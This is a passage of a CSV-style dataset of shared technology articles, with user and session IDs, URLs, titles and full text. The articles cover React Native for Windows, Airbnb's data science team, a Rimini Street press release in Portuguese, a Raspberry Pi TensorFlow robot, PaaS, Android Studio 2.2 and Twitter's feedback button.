avoided some of these complexities, but we operate in an environment where these libraries and services are essential to the functionality of our gateway and operation within Netflix's ecosystem. We are in the process of releasing Zuul 2 as open source. Once it is released, we'd love to hear from you about your experiences with it and hope you will share your contributions! We plan on adding new features such as http/2 and websocket support to Zuul 2 so that the community can also benefit from these innovations. - The Cloud Gateway Team ( Mikey Cohen , Mike Smith , Susheel Aroskar , Arthur Gonigberg , Gayathri Varadarajan , and Sudheer Vinukonda )",en
1474649050,CONTENT SHARED,-6312384811410586459,6971525809430309144,-8890079939902477843,,,,HTML,https://www.microsoft.com/developerblog/real-life-code/2016/05/27/Creating-Universal-Windows-Apps-with-React-Native.html,Creating Universal Windows Apps with React Native,"React.js is a popular JavaScript library for building reusable UI components. React Native takes all the great features of React, from the one-way binding and virtual DOM to debugging tools , and applies them to mobile app development on iOS and Android. With the React Native Universal Windows platform extension, you can now make your React Native applications run on the Universal Windows families of devices, including desktop, mobile, and Xbox, as well as Windows IoT, Surface Hub, and HoloLens. This code story will walk through the process of setting up a Universal Windows project for React Native, importing core Windows-specific modules to your JavaScript components, and running the app with Visual Studio. Installing React Native for Windows Installing the React Native Universal Windows platform extension is easy, whether you want to add the Windows platform to your existing app, or you want to start from scratch building an app just for Windows. Adding React Native for Windows to Existing Projects React Native developers may be familiar with RNPM , a tool initially built to simplify the process of adding native dependencies to React Native projects. RNPM has a great plugin architecture upon which the React Native for Windows command line tools were built. To start, make sure you have RNPM installed globally. Once RNPM is installed, install the Windows plugin for RNPM and initialize your project. The windows command will do the following: - Install react-native-windows from NPM - Read the name of your project from package.json - Use Yeoman to generate the Windows project files. The RNPM plugin architecture searches your local package.json dependencies and devDependencies for modules that match rnpm-plugin-* , hence the --save-dev above. Head to GitHub for more information on rnpm-plugin-windows . Creating a React Native for Windows Project from Scratch You have a few different options to create a React Native Universal Windows project from scratch. If your eventual intent is to also build apps for iOS and Android in the same code base, then the recommendation is to first use the existing tutorial to set up your React Native project, and then follow the steps above. E.g., Note: the react-native-windows NPM package is only compatible with the latest versions of react-native , from version 0.27 forward. Otherwise, you can easily set yourself up with npm init . Note: the default behavior for choosing the version of react-native-windows is to install the latest version if the package.json does not yet have a react-native dependency. Otherwise, if a react-native dependency already exists, the plugin will attempt to install a version of react-native-windows that matches the major and minor version of react-native . The Windows plugin for RNPM will automatically install the react-native and react peer dependencies for react-native-windows if they have not yet been installed. React Native for Windows Project Structure There are a few boilerplate files that get generated for the Universal Windows App. The important ones include: - index.windows.js - This is the entry point to your React application. - windows/myapp.sln - This is where you should start to launch your app and debug native code. - windows/myapp/MainPage.cs - This is where you can tweak the native bridge settings, like available modules and components. Here's the full output: We ship the core C# library for React Native as source on NPM. Having direct access to the source will help with debugging and making small tweaks where necessary. As long as the core ships as source, third party modules will also need to follow suit (although their dependencies may be binary). We'll be working with the React Native community on react-native link support to make dependency management as simple as possible. Instructions for how to link dependencies are available on GitHub . Building and Extending Apps for the Windows Platform. The core components and modules for React Native are imported as follows: Currently, the same goes for Android- and iOS-specific modules, i.e.: Since Windows is a plugin to the framework, core modules specific to Windows are imported from react-native-windows , i.e.: So, a typical imports section of a React component with a mixture of core and Windows-specific modules will look like: There is a list of the core modules available on React Native for Windows on GitHub . There are multiple ways to add conditional behavior to your apps based on the platform. One way that you might already recognize is the use of the *.platform.js pattern, i.e., index.[android|ios|windows].js . The dependency graph will choose the filename that matches the active platform choice, and fallback to the filename without any platform indicator, if available. E.g., if you have files MyComponent.windows.js and MyComponent.js , node-haste will choose MyComponent.js for Android and iOS and MyComponent.windows.js for Windows. Another way is to use conditional logic inside a component, as demonstrated in the simple component below. Facebook has a very good article on cross-platform design with React Native at makeitopen.com . Running the Universal Windows App There are a few options for running your React Native Universal Windows app. The easiest way, for now, is to launch the app in Visual Studio. After initializing the project, open the Visual Studio solution at ./windows/myapp.sln in Visual Studio 2015 (Community edition is supported). From Visual Studio, choose which platform you want to build for (x86, x64, or ARM), choose the target you want to deploy to, and press F5. We are still working on deployment from the command line, but work to enable a run-windows command to the RNPM plugin is underway. The instructions for running React Native UWP apps, both from Visual Studio and from the CLI, will be evolving on GitHub . If you have any problems getting started with building or running your React Windows application, reach out on Discord or open an issue . We look forward to hearing your feedback and reviewing your contributions !",en
1474653645,CONTENT SHARED,6664082205633624486,3829784524040647339,-5297765402491354720,,,,HTML,http://blog.kaggle.com/2016/09/06/building-a-team-from-the-inside-out-alok-gupta-on-the-evolution-of-data-science-at-airbnb/,Building a Team from the Inside Out: Alok Gupta on the Evolution of Data Science at Airbnb,"In an interview with Alok Gupta , a Data Science Manager at Airbnb and former algorithmic trader, I learned about the introspective efforts the company has made to scale its rapidly growing data science team into what it is today and how they (and other data teams) face the future. While the evolution of the team's organizational structure has permitted Airbnb's data scientists to flourish, the company's level of accomplishment derives from a ""laser focus"" on two things: truly caring for their employees and making highly intentional data-driven decisions. Whether it's developing open-source tools for reproducible research or striving to improve the status of diversity in data science, Alok makes it clear that Airbnb pursues efforts which converge on these two guiding principles. Hypergrowth: Scaling from 5 to 70+ data scientists in a few short years In 2013, Airbnb had a small, centralized team of five data scientists serving the data needs of the company. Since then, they have grown to become one of the largest, most innovative startup teams with over 70 data scientists now serving separate business units. In addition to setting a consistently high bar on new hires and focusing on technical mentorship from peers, the structure of the organization has been key to successful growth. Alok calls the transition from a centralized team of data scientists to smaller embedded teams which sit within product areas ""a breath of fresh air"" where they work as business partners with their teams. Compared to the previous structure, he says the new model has been ""very powerful"" for the company. This transition has happened in tandem with the evolving notion of what it even means to even be a data scientist. Many likely agree with Alok when he calls it an ""overloaded term right now."" He spells out what he believes are the four or so specialized roles that better articulate the work done by those of us that aren't data science unicorns: Data engineers - They take messy data and transform it for analysis. Product builders - People who build data products that are user-facing. For example, they may build a recommender engine. Data analysts - They provide chief analyses outlining where opportunities lie for the business. Data experimenters - Scientists who know how to design and perform an experiment. How has the data team been able to grapple with the growing pains that accompany such quick expansion? The very creation and transformation of the data science team at Airbnb stems from the company's position at the extreme ends of two spectrums, Alok tells me. First, Airbnb sets itself apart as a company that goes out of its way to ensure its employees are happy, successful, and cared for. For instance, their investments in data bootcamp for onboarding, peer mentorship, and conference participation among other initiatives are all important ways in which Airbnb cultivates its employees. On the other hand, Alok emphasizes that Airbnb is very metrics and goals-driven when he says, ""Everything we do is very deliberate, very quantitative, and laser-focused on our goals."" Along the second continuum significant to the company's operating philosophy, Alok emphasizes that Airbnb is extremely metrics- and goals-driven when it comes to making business decisions: ""Everything we do is very deliberate, very quantitative, and laser-focused on our goals."" The message is that Airbnb has, at least in part, made such a commitment to the quality of its data science team in the first place as a means to substantiate its research-driven mode of conduct. In the rest of our conversation, Alok shared with me how Airbnb achieves success, cohesion, and better outcomes for themselves and their users as a data science team. By thoughtfully positioning themselves as a company that cares about its employees' well-being as much as metrics-driven decision-making, it's apparent that Airbnb makes progress through the marriage of both. Building a knowledge sharing ecosystem that scales Productivity and innovation rely heavily on knowledge sharing at Airbnb. Their efforts have focused on three areas which Alok walked me through: workflow management, democratizing data within and beyond the organization, and reproducible research. Alok describes how Airbnb invests heavily in its data empowerment team which develops tools to streamline and standardize workflows for the organization. This includes querying tools like Airpal as well as Airflow which allows for data pipeline management through programmatic job authoring, scheduling, and monitoring. In the spirit of giving back to the open source community, Airbnb open sourced Airflow last year and so far 46 companies are officially using the tool the manage their workflows. Recognizing that making data accessible is necessary to pursuing metrics-driving business decisions, Airbnb has also developed and open sourced its data visualization tool, Caravel . The platform allows users to explore data in a drag and drop environment. Finally, Alok teases another open source release on the horizon for Airbnb. While drawing comparisons to Kaggle's own new open data platform , he refers to Airbnb's knowledge sharing tool as ""game changing."" The Github-style repository, currently used internally, allows users to write up analyses from start to finish. Among advantages such as supporting reproducible research and avoiding duplication of code, the knowledge sharing tool addresses publication bias at Airbnb where published research is cherry-picked for its attractive or confirmatory results. Before the introduction of knowledge sharing, Alok recalls knowledge as ""tribal"" when he first joined Airbnb two years ago: ""I had to know the right person to go to and say, 'hey, did you run this experiment? What happened?'"" Now, rather than running an A/B test and tossing any null results into the so-called ""file drawer"" (or email attachment), data scientists at Airbnb now spend a bit of worthwhile extra time documenting their experiments as more formal write-ups. Alok says the ability to search the knowledge posts ultimately results in data scientists' work having greater impact through increased accessibility. Alok gives a concrete example of the difference the knowledge posts can make. His team had wanted to run an experiment that could impact user bookings. ""Turns out we already ran this experiment three years ago and it took nine months to run. Instead of re-running it, we can just read up on that post and we know the answer."" Especially for smaller teams, Alok's word of advice is ""don't try to build everything yourself. There are so many great open source tools. Use them to begin with."" He even cites Kaggle Kernels as an example, stating ""I think it's a great tool for sharing analyses."" Diverse perspectives & the future of data science Airbnb hosts are located throughout over 34,000 cities in 191 countries. Creating a platform welcoming of people from broad cultural backgrounds demands that a company make internal investments in its employees to build a strong, diverse team. To their detriment, many companies in data science and engineering fields are not necessarily reflective of their users. In a recent post on Airbnb's engineering blog , Airbnb data scientists Riley Newman and Elena Grewal describe the company's efforts to address the lack of diversity which Alok identifies ""a top priority this year as a data team."" Alok asserts that, as with any problem, recognition was the first step towards change for Airbnb and from this point their data-driven philosophy has informed their process towards progress. The benefits to a diverse team are incontrovertible: ""We know without a doubt that [increased diversity improves] the standard of our analysis, the impact we have as a data science team, and the mentorship that we get from each other."" ""We've seen that impact in the strides we've made [...] in the past year or two years. By having a more diverse data science team we've improved our partnerships and our contributions to the wider [organization]."" Ensembling perspectives, so to speak, within the data team at Airbnb has undoubted positive implications for their users. Alok gives an example: ""[We have] more hypotheses from the team on what could drive engagement from a greater diversity of people [...] which leads to a greater diversity of experiments."" One of the most challenging obstacles to building a diverse team is first understanding what diversity means in the first place. Alok contrasts the ""virtuous cycle"" of diverse hiring with the ""vicious cycle"" companies find themselves in prior to the recognition stage: ""The less diversity you have the less likely you are to hire diverse applicants because you're hiring people similar to yourself. [...] You end up in a local minima [...] because [applicants] present and interview in a way that seems familiar and correct."" His recommendation to teams struggling with ""class imbalances"" is to face the issue very deliberately. His examples including blinding candidates' names and genders as well as spending more time sourcing candidates in areas outside of current expertise. In fact, Alok cites their recent recruiting competition as one example of how Airbnb makes efforts to make its work visible to a broad audience. ""You have to say, 'I'm going to spend time trying to find people who are very different from the profiles I already have on my team.' It's not something that will happen organically. You have to be deliberate and there has to be a time investment."" Right now, there is value in data science and machine learning experts coming into the industry from a wide array of backgrounds. From physicists to biologists, education is one dimension on which it is not currently a challenge to attract ample diversity. For this reason, Alok expresses hope that a degree in data science or machine learning doesn't become a barrier to entry as schools cash in on this year's number one career. While there's a lot to learn in order to be hired on a data team like Airbnb's, there's little reason to be discouraged because Alok's best advice to aspiring data scientists is to get ""as deep and dirty as you can"" with data. For this reason, open sourced data is transformative in allowing necessary hands-on practice with machine learning and data analysis. He additionally recommends acquiring proficiency in iPython or R while focusing on providing insight into data and also understanding what it means to clean messy data. So what does this mean for you, your team, or your company? Taking the lead from Airbnb, it begins with focusing inward first. By making intentional, data-driven decisions, the company has scaled its team, knowledge, and progress in ways that resonate beyond the organization. Bio Alok Gupta is a Data Science Manager at Airbnb and an Affiliated Researcher at Stanford University . In his past life he was a Research Fellow in Mathematics at Oxford University and then a High Frequency Trader on Wall Street.",en
1474654058,CONTENT SHARED,2951308020527021494,-1352064057049251194,-548845942099068409,,,,HTML,http://exame.abril.com.br/negocios/dino/noticias/rimini-street-anuncia-suporte-para-oracle-atg-web-commerce.shtml,Rimini Street anuncia suporte para Oracle ATG Web Commerce | EXAME.com,"Rimini Street, Inc. , líder independente no fornecimento de suporte a software empresarial para software (NYSE:SAP) Business Suite , BusinessObjects e HANA Database SE (NYSE:SAP) da SAP e (NYSE:ORCL) Siebel , PeopleSoft , JD Edwards , E-Business Suite , Oracle Database , Oracle Middleware , Hyperion , Oracle Retail e Oracle Agile PLM da Oracle Corporation (NYSE:ORCL), anunciou hoje a disponibilidade de manutenção e suporte para produtos Oracle ATG Web Commerce . Oracle ATG Web Commerce é uma das principais estruturas para a construção e a instalação de websites de comércio negócio-a-negócio (B2B) e negócio-a-consumidor (B2C) em algumas das maiores empresas do mundo, em muitas indústrias, incluindo varejo, telecomunicações e empresas do setor público. Como a 10 a linha de produtos Oracle com suporte oferecido pela Rimini Street, a nova linha de produto ATG Web Commerce acrescenta amplitude ao portfólio robusto da Rimini Street dos produtos Oracle. A empresa já fornece suporte bem-sucedido aos licenciados muito grandes, globais do Oracle ATG Web Commerce. ATG Web Commerce representa uma conquista sólida para o suporte da Rimini Street Rimini Street primeiro começou a oferecer suporte aos licenciados de software da Oracle em 2005 e continuou a expandir sua cobertura de suporte para produtos adicionais da Oracle ao longo dos anos com base na forte demanda dos licenciados Oracle ao redor do mundo. Como uma estrutura para o desenvolvimento de soluções de comércio, as soluções para o cliente ATG Web Commerce são personalizadas de modo exclusivo, exigindo suporte contínuo para as alterações de configuração e de integração e suporte para os ajustes de desempenho. Além disso, a maioria das versões do ATG Web Commerce estão no Suporte Contínuo e no Suporte Estendido da Oracle - oferecendo aos clientes do suporte anual da Oracle valores até mais baixos para serviços de manutenção caros. ATG 9 passa do Suporte Estendido para o Suporte Contínuo em dezembro de 2016 e o ATG 10 passa para o Suporte Contínuo em 2018. Os licenciados do ATG Web Commerce estão em uma situação onde eles investiram uma quantia significativa de recursos, tempo e dinheiro em suas implementações de software e agora podem evitar uma atualização cara e desfrutar de uma oferta de suporte adequada, robusta e baseada em valores com a Rimini Street. Um projeto de implementação para o produto ATG Web Commerce pode, geralmente, durar de um a quatro anos e custar dezenas de milhões de dólares para ser concluído. As taxas de licença do software ATG também são altas, alcançando milhões de dólares. Ao mudar do suporte do fornecedor para o suporte da Rimini Street, os licenciados do ATG Web Commerce podem alcançar economias de 50 por cento em suas despesas com manutenção anual, e continuar a operar seus sistemas de comércio juntamente com um conjunto de tecnologias em evolução por um mínimo de 15 anos desde a assinatura do contrato com a Rimini Street, sem atualizações forçadas. Os clientes são capazes de realocar os fundos que eles economizaram com o suporte da Rimini Street para projetos estratégicos necessários para o negócio voltados à inovação, vantagem competitiva e crescimento. Suporte Rimini Street para produtos Oracle ATG Web Commerce Suporte Rimini Street para Oracle ATG Web Commerce inclui, mas não se limita a: Versão Oracle ATG 9 Versão Oracle ATG 10 Oracle Commerce 11 Pesquisa guiada do Oracle Commerce (Pesquisa Endeca) e Experience Manager 11 MDEC Engine 6.5 Rimini Street também oferece suporte aos bancos de dados integrados da Oracle para as soluções ATG Commerce, juntamente com os produtos Oracle Siebel e Oracle Retail. Esses são todos aplicativos que complementam e se integram ao Oracle ATG Web Commerce e são populares junto aos licenciados do ATG. ""A adição do Oracle ATG Web Commerce ao nosso portfólio de serviços de suporte oferece ainda mais aos licenciados da Oracle a opção de mudar e desfrutar do suporte premiado da Rimini Street, fazer economias significativas e evitar atualizações desnecessárias para todo o ambiente Oracle"", disse Seth Ravin , diretor executivo da Rimini Street. ""A Rimini Street permanece direcionada em oferecer soluções de serviço de suporte inovadoras, mais relevantes e com maior valor para os licenciados da Oracle e SAP ao redor do mundo, e criar uma oportunidade para nossos clientes realocarem economias significativas para financiar programas estratégicos que ajudam a levar mais valor e crescimento aos seus negócios."" Para saber mais, siga @riministreet no Twitter e visite a Rimini Street no Facebook e no LinkedIn . Sobre a Rimini Street, Inc. A Rimini Street é a líder global independente no fornecimento de serviços de assistência a software empresarial. A empresa tem redefinido os serviços de assistência empresarial desde 2005, com um programa inovador e premiado que permite aos licenciados Oracle e SAP economizar até 90% dos custos totais de assistência. Os clientes podem manter suas versões atuais de software, sem necessidade de atualização ou migração durante pelo menos 15 anos. Quase 1.500 organizações presentes na lista Fortune 500, do mercado intermediário e do setor público, de uma grande variedade de setores de mercado escolheram a Rimini Street como sua prestadora de suporte independente de confiança. Para saber mais, visite . Declarações prospectivas Este comunicado de imprensa pode conter declarações prospectivas. As palavras ""acreditamos"", ""talvez"", ""irá"", ""planejamos"", ""estimamos"", ""continuamos"", ""antecipamos"", ""pretendemos"", ""esperamos"" e expressões semelhantes têm por objetivo identificar declarações prospectivas. Essas declarações prospectivas estão sujeitas a riscos e incertezas e se baseiam em vários pressupostos. Se os riscos se materializarem ou nossas suposições se mostrarem incorretas, os resultados reais poderão diferir materialmente dos resultados implícitos nas referidas declarações prospectivas. A Rimini Street não assume nenhuma obrigação de atualizar quaisquer declarações ou informações prospectivas que apareçam apenas a partir da data deste comunicado de imprensa. A Rimini Street e o logotipo da Rimini Street são marcas comerciais da Rimini Street, Inc. Todos os demais nomes de empresas e produtos podem ser marcas comerciais de seus respectivos proprietários. Copyright © 2016. Todos os direitos reservados. O texto no idioma original deste anúncio é a versão oficial autorizada. As traduções são fornecidas apenas como uma facilidade e devem se referir ao texto no idioma original, que é a única versão do texto que tem efeito legal. Ver a versão original em businesswire.com: Contato: Rimini Street, Inc. Michelle McGlocklin, +1 925-523-8414 mmcglocklin@riministreet.com Fonte: BUSINESS WIRE",pt
1474655450,CONTENT SHARED,9124439338148818380,-1443636648652872475,-2059162220920738530,,,,HTML,https://www.oreilly.com/learning/how-to-build-a-robot-that-sees-with-100-and-tensorflow?twitter=@bigdata&utm_source=hackernewsletter&utm_medium=email&utm_term=fav,"How to build a robot that ""sees"" with $100 and TensorFlow","Eye of Providence. (source: Bureau of Engraving and Printing on Wikimedia Commons ). Object recognition is one of the most exciting areas in machine learning right now. Computers have been able to recognize objects like faces or cats reliably for quite a while, but recognizing arbitrary objects within a larger image has been the Holy Grail of artificial intelligence. Maybe the real surprise is that human brains recognize objects so well. We effortlessly convert photons bouncing off objects at slightly different frequencies into a spectacularly rich set of information about the world around us. Machine learning still struggles with these simple tasks, but in the past few years, it's gotten much better. Deep learning and a large public training data set called ImageNet has made an impressive amount of progress toward object recognition. TensorFlow is a well-known framework that makes it very easy to implement deep learning algorithms on a variety of architectures. TensorFlow is especially good at taking advantage of GPUs, which in turn are also very good at running deep learning algorithms. Building my robot I wanted to build a robot that could recognize objects. Years of experience building computer programs and doing test-driven development have turned me into a menace working on physical projects. In the real world, testing your buggy device can burn down your house, or at least fry your motor and force you to wait a couple of days for replacement parts to arrive. The new third generation Raspberry Pi is perfect for this kind of project. It costs $36 on Amazon.com and has WiFi, a quad core CPU, and a gigabyte of RAM. A $6 microSD card can load Raspberian , which is basically Debian . See Figure 1 for an overview of how all the components worked together, and see Figure 2 for a photo of the Pi. I love the cheap robot chassis that Sain Smart makes for around $11. The chassis turns by spinning the wheels at different speeds, which works surprisingly well (see Figure 3). The one place I spent more money when cheaper options were available is the Adafruit motor hat (see Figure 4). The DC motors run at a higher current than the Raspberry Pi can provide, so a separate controller is necessary, and the Adafruit motor hat is super convenient. Using the motor hat required a tiny bit of soldering, but the hardware is extremely forgiving, and Adafruit provides a nice library and tutorial to control the motors over i2C . Initially, I used cheaper motor controllers, but I accidentally fried my Pi, so I decided to order a better quality replacement. A $15 camera attaches right into the Raspberry Pi and provides a real-time video feed I can use to recognize objects. There are tons of awesome cameras available. I like the infrared cameras that offer night vision. The Raspberry Pi needs about 2 amps of current, but 3 amps is safer with the speaker we're going to plug into it. iPhone battery chargers work awesomely for this task. Small chargers don't actually output enough amps and can cause problems, but the Lumsing power bank works great and costs $18. A couple of HC- SR0 4 sonar sensors help the robot avoid crashing into things-you can buy five for $11. I added the cheapest USB speakers I could find, and used a bunch of zip ties, hot glue, and foam board to keep everything together. As an added bonus, I cut up some of the packaging materials the electronics came with and drew on them to give the robots some personality. I should note here that I actually built two robots (see Figure 5) because I was experimenting with different chassis, cameras, sonar placement, software, and so forth, and ended up buying enough parts for two versions. Once the robot is assembled, it's time to make it smart. There are a million tutorials for getting started with a Raspberry Pi online. If you've used Linux, everything should be very familiar. For streaming the camera, the RPi Cam Web interface works great. It's super configurable and by default puts the latest image from the camera in a RAM disk at /dev/shm/mjpeg/cam.jpg . If you want to stream the camera data to a webpage (very useful for debugging), you can install Nginx , an extremely fast open source webserver/proxy. I configured Nginx to pass requests for the camera image directly to the file location and everything else to my webserver. I then built a simple Python webserver to spin the wheels of the robot based on keyboard commands that made for a nifty remote control car. As a side note, it's fun to play with the sonar and the driving system to build a car that can maneuver around obstacles. Programming my robot Finally, it's time to install TensorFlow. There are a couple of ways to do the installation, but TensorFlow actually comes with a makefile that lets you build it right on the system. The steps take a few hours and have quite a few dependencies, but they worked great for me. TensorFlow comes with a prebuilt model called ""inception"" that performs object recognition. You can follow the tutorial to get it running. Running tensorflow/contrib/pi_examples/label_image/gen/bin/label_image on an image from the camera will output the top five guesses. The model works surprisingly well on a wide range of inputs, but it's clearly missing an accurate ""prior,"" or a sense of what things it's likely to see, and there are quite a lot of objects missing from the training data. For example, it consistently recognizes my laptop, even at funny angles, but if I point it at my basket of loose wires it consistently decides that it's looking at a toaster. If the camera is blocked and it gets a dark or blurry image it usually decides that it's looking at nematodes-clearly an artifact of the data it was trained on. Finally, I connected the output to the Flite open source software package that does text to speech, so the robot can tell everyone what it's seeing (see Figure 6). Testing my robot Here are my two homemade robots running deep learning to do object recognition. Final thoughts From 2003 to 2005, I worked in the Stanford Robotics lab, where the robots cost hundreds of thousands of dollars and couldn't perform object recognition nearly as well as my robots. I'm excited to put this software on my drone and never have to look for my keys again. I'd also like to acknowledge all the people that helped with this fun project. My neighbors, Chris Van Dyke and Shruti Gandhi, helped give the robot a friendly personality. My friend, Ed McCullough, dramatically improved the hardware design and taught me the value of hot glue and foam board. Pete Warden, who works at Google, helped get TensorFlow compiling properly on the Raspberry Pi and provided amazing customer support.",en
1474669923,CONTENT SHARED,-1365928983118861754,881856221521045800,-8779133536204231631,,,,HTML,https://www.ibm.com/blogs/cloud-computing/2016/08/paas-benefits-characteristics/,Practical guide to PaaS: Benefits and characteristics,"One of the major benefits of platform as a service PaaS is its ability to improve a developer's productivity. PaaS provides direct support for business agility by enabling rapid development with faster and more frequent delivery of functionality. It does this through continuous integration techniques and automatic application deployment. PaaS also enables developers to realize the cloud's broader benefits. This includes: Scalability, including rapid allocation and deallocation of resources with a pay-as-you-use model (noting that the use of individual resources can vary greatly over the life cycle of an application) Reduced capital expenditure Reduced lead times with on-demand availability of resources Self-service with reduced administration costs Reduced skill requirements Support of team collaboration Ability to add new users quickly The automation support one receives in a PaaS environment also provides productivity improvements and consistency in delivery. Along with automation is the ability for closer equivalence of the development, test and production environments, again improving consistency and reliability of delivery. This is one aspect of a DevOps/agile development approach that is ideal for a PaaS environment. [ Related post: A practical guide to platform as a service: What is PaaS? ] In addition, PaaS systems typically enable the sharing of resources across multiple development teams, avoiding the need for wasteful allocation of multiple assets of the same type in separate silos. PaaS systems typically build in security and data-protection features, including resilience capabilities such as replication and backups. This can improve security and reduce the need for in-house security skills. The provision of sophisticated, off-the-shelf capabilities as services enables the rapid creation and evolution of applications that address business requirements. This is especially important when considering mobile and web applications that include social and Internet of Things (IoT) capabilities. Business applications typically require integration and involve aggregation of data and services from multiple existing systems. PaaS systems usually feature prebuilt integration and aggregation components to speed and simplify necessary development work. PaaS systems can be used to build applications that are then offered to other customers and users as a software as a service (SaaS) offering. The requirements of SaaS applications, including scalability and the ability to handle multiple tenants, can usually be met by the cloud computing capabilities of a PaaS system. In our next installment, we'll provide guidance for acquiring and using PaaS offerings. Interested in learning more about PaaS and getting a better picture of its implementation best practices? Check out my post on PaaS basics and download the Cloud Standards Customer Council's "" Practical Guide to Platform as a Service .""",en
1474718275,CONTENT SHARED,-8689798332822398451,6686977580828209471,-2210115098506852229,,,,HTML,http://android-developers.blogspot.com/2016/09/android-studio-2-2.html,Novidades do Android Studio 2.2,"By Jamal Eason , Product Manager, Android Android Studio 2.2 is available to download today. Previewed at Google I/O 2016, Android Studio 2.2 is the latest release of our IDE used by millions of Android developers around the world. Packed with enhancements, this release has three major themes: speed, smarts, and Android platform support. Develop faster with features such as the new Layout Editor, which makes creating an app user interface quick and intuitive. Develop smarter with our new APK analyzer, enhanced Layout Inspector, expanded code analysis, IntelliJ's 2016.1.3 features and much more. Lastly, as the official IDE for Android app development, Android Studio 2.2 includes support for all the latest developer features in Android 7.0 Nougat, like code completion to help you add Android platform features like Multi-Window support , Quick Settings API , or the redesigned Notifications , and of course, the built-in Android Emulator to test them all out. In this release, we evolved the Android Frameworks and the IDE together to create the Constraint Layout. This powerful new layout manager helps you design large and complex layouts in a flat and streamlined hierarchy. The ConstraintLayout integrates into your app like a standard Android support library, and was built in parallel with the new Layout Editor. Android Studio 2.2 includes 20+ new features across every major phase of the development process: design, develop, build, & test. From designing UIs with the new ConstraintLayout , to developing C++ code with the Android NDK, to building with the latest Jack compliers, to creating Espresso test cases for your app, Android Studio 2.2 is the update you do not want to miss. Here's more detail on some of the top highlights: Design Layout Editor: Creating Android app user interfaces is now easier with the new user interface designer. Quickly construct the structure of your app UI with the new blueprint mode and adjust the visual attributes of each widget with new properties panel. Learn more . Constraint Layout: This new layout is a flexible layout manager for your app that allows you to create dynamic user interfaces without nesting multiple layouts. It is backwards compatible all the way back to Android API level 9 (Gingerbread). ConstraintLayout works best with the new Layout Editor in Android Studio 2.2. Learn more . Develop Improved C++ Support: You can now use CMake or ndk-build to compile your C++ projects from Gradle. Migrating projects from CMake build systems to Android Studio is now seamless. You will also find C++ support in the new project wizard in Android Studio, plus a number of bug fixes to the C++ edit and debug experience. Learn more . C++ Code Editing & CMake Support Samples Browser: Referencing Android sample code is now even easier with Android Studio 2.2. Within the code editor window, find occurrences of your app code in Google Android sample code to help jump start your app development. Learn more . Build Instant Run Improvements: Introduced in Android Studio 2.0, Instant Run is our major, long-term investment to make Android development as fast and lightweight. Since launch, it has significantly improved the edit, build, run iteration cycles for many developers. In this release, we have made many stability and reliability improvements to Instant Run. If you have previously disabled Instant Run, we encourage you to re-enable it and let us know if you come across further issues. (Settings → Build, Execution, Deployment → Instant Run [Windows/Linux] , Preferences → Build, Execution, Deployment → Instant Run [OS X]). For details on the fixes that we have made, see the Android Studio 2.2 release notes . APK Analyzer: Easily inspect the contents of your APKs to understand the size contribution of each component. This feature can be helpful when debugging multi-dex issues. Plus, with the APK Analyzer you can compare two versions of an APK. Learn more . Build cache (Experimental): We are continuing our investments to improve build speeds with the introduction of a new experimental build cache that will help reduce both full and incremental build times. Just add android.enableBuildCache=true to your gradle.properties file. Learn more . Test Virtual Sensors in the Android Emulator: The Android Emulator now includes a new set of virtual sensors controls. With the new UI controls, you can now test Android Sensors such as Accelerometer, Ambient Temperature, Magnetometer and more. Learn more . Android Emulator Virtual Sensors Espresso Test Recorder (Beta): The Espresso Test Recorder lets you easily create UI tests by recording interactions with your app; it then outputs the UI test code for you. You record your interactions with a device and add assertions to verify UI elements in particular snapshots of your app. Espresso Test Recorder then takes the saved recording and automatically generates a corresponding UI test. You can run the test locally, on your continuous integration server, or using Firebase Test Lab for Android . Learn more . Espresso Test Recorder GPU Debugger (Beta): The GPU Debugger is now in Beta. You can now capture a stream of OpenGL ES commands on your Android device and then replay it from inside Android Studio for analysis. You can also fully inspect the GPU state of any given OpenGL ES command to better understand and debug your graphical output. Lean more . To recap, Android Studio 2.2 includes these major features and more: Learn more about Android Studio 2.2 by reviewing the release notes and the preview blog post . Getting Started Download If you are using a previous version of Android Studio, you can check for updates on the Stable channel from the navigation menu (Help → Check for Update [Windows/Linux] , Android Studio → Check for Updates [OS X]). You can also download Android Studio 2.2 from the official download page . To take advantage of all the new features and improvements in Android Studio, you should also update to the Android Gradle plugin version to 2.2.0 in your current app project. Next Release We would like to thank all of you in the Android Developer community for your work on this release. We are grateful for your contributions, your ongoing feedback which inspired the new features in this release, and your highly active use on canary and beta builds filing bugs. We all wanted to make Android Studio 2.2 our best release yet, with many stability and performance fixes in addition to the many new features. For our next release, look for even more; we want to work hard to address feedback and keep driving up quality and stability on existing features to make you productive. We appreciate any feedback on things you like, issues or features you would like to see. Connect with us -- the Android Studio development team -- on our Google+ page or on Twitter .",en
1474746114,CONTENT SHARED,7813943820850065086,-1443636648652872475,-5776128101247521770,,,,HTML,http://thenextweb.com/apps/2016/09/23/twitter-adds-a-button-to-help-you-train-its-algorithm/,Twitter adds a button to help you train its algorithm,"Twitter has just started rolling out a neat server-side update for its iOS client . The upgrade brings a brand new feedback tool to the application called ""I don't like this Tweet"", which is believed to have been developed to improve the quality of tweets served to users in their timeline . In order for Twitter to deliver tailored tweets to its users, they will first have to flag the types of content they'd prefer to see less of - and a dedicated response button is the simplest and most efficient way to do so. Credit: Michael Grothaus In a statement issued to , a Twitter spokesperson said: [I don't like this Tweet] helps Twitter better understand the types of Tweets that you'd like to see less of in your Home timeline. We may use this information to optimize and tailor your experience in the future."" The ""I don't like this Tweet"" button is essentially the next step Twitter is taking to make its "" enhanced timeline "" feature, which increases the presence of algorithmically selected tweets, more accurate. Personally, I'm not a huge fan of hockey, so if I flag every related tweet I see and the algorithm prevents scores from showing up in my timeline, I'll be happy. To see if the button's live for you, pinpoint an individual tweet you don't like, tap the down arrow located in the upper-right corner, then keep your eyes peeled for the ""I don't like this tweet"" option. If it doesn't show up, don't fret. It just means that it hasn't reached your device yet, but it should appear shortly. It's also worth noting that the feature isn't live on Android and desktop yet. We've reached out to Twitter for comment on the matter, and will update this post accordingly when we hear back. Twitter Asks You To Identify Tweets You Don't Like So It Can Hone Its Algorithm on BuzzFeed Read next: LinkedIn is making some big changes, but will it suck less? Josh Levenson is an avid technology enthusiast who writes news and the occasional how-to article. He's also a self-proclaimed sneakerhead and has been an Apple fan for as long as he can remember.",en
